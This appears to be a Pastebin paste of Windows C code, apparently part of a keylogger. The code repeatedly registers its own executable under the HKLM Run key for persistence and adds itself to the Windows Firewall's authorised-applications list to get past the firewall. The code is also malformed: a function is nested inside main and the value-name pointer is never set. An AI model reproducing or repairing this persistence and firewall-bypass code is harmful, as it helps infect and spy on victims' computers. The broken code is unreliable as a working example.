trojanxem

Untitled

Feb 1st, 2013
50
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.09 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <windows.h>
  4. #include <stdbool.h>
  5. char *Keylogger;
  6. int main()
  7. {
  8. DWORD WINAPI AddRegistryKey(LPVOID lpVoid)
  9. {
  10.    HKEY RegistryKey;
  11.  
  12.    char FilePath[255];
  13.    GetModuleFileName(0, FilePath, sizeof(FilePath));
  14.  
  15.    while(true)
  16.    {
  17.       if(RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, REG_OPTION_NON_VOLATILE,
  18.       KEY_ALL_ACCESS, 0, &RegistryKey, 0) == ERROR_SUCCESS)
  19.       {
  20.          RegSetValueEx(RegistryKey, Keylogger, 0, REG_SZ, (unsigned char *)FilePath, _tcslen(FilePath) + 2);
  21.           RegCloseKey(RegistryKey);
  22.       }
  23.  
  24.       if(RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", 0,
  25.       0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &RegistryKey, 0) == ERROR_SUCCESS )
  26.       {
  27.          RegSetValueEx(RegistryKey, Keylogger, 0, REG_SZ, (unsigned char *)FilePath, _tcslen(FilePath) + 2 );
  28.          RegCloseKey(RegistryKey);
  29.       }
  30.  
  31.       Sleep(5000);
  32.    }
  33. }
  34. }
Advertisement
Add Comment
Please, Sign In to add comment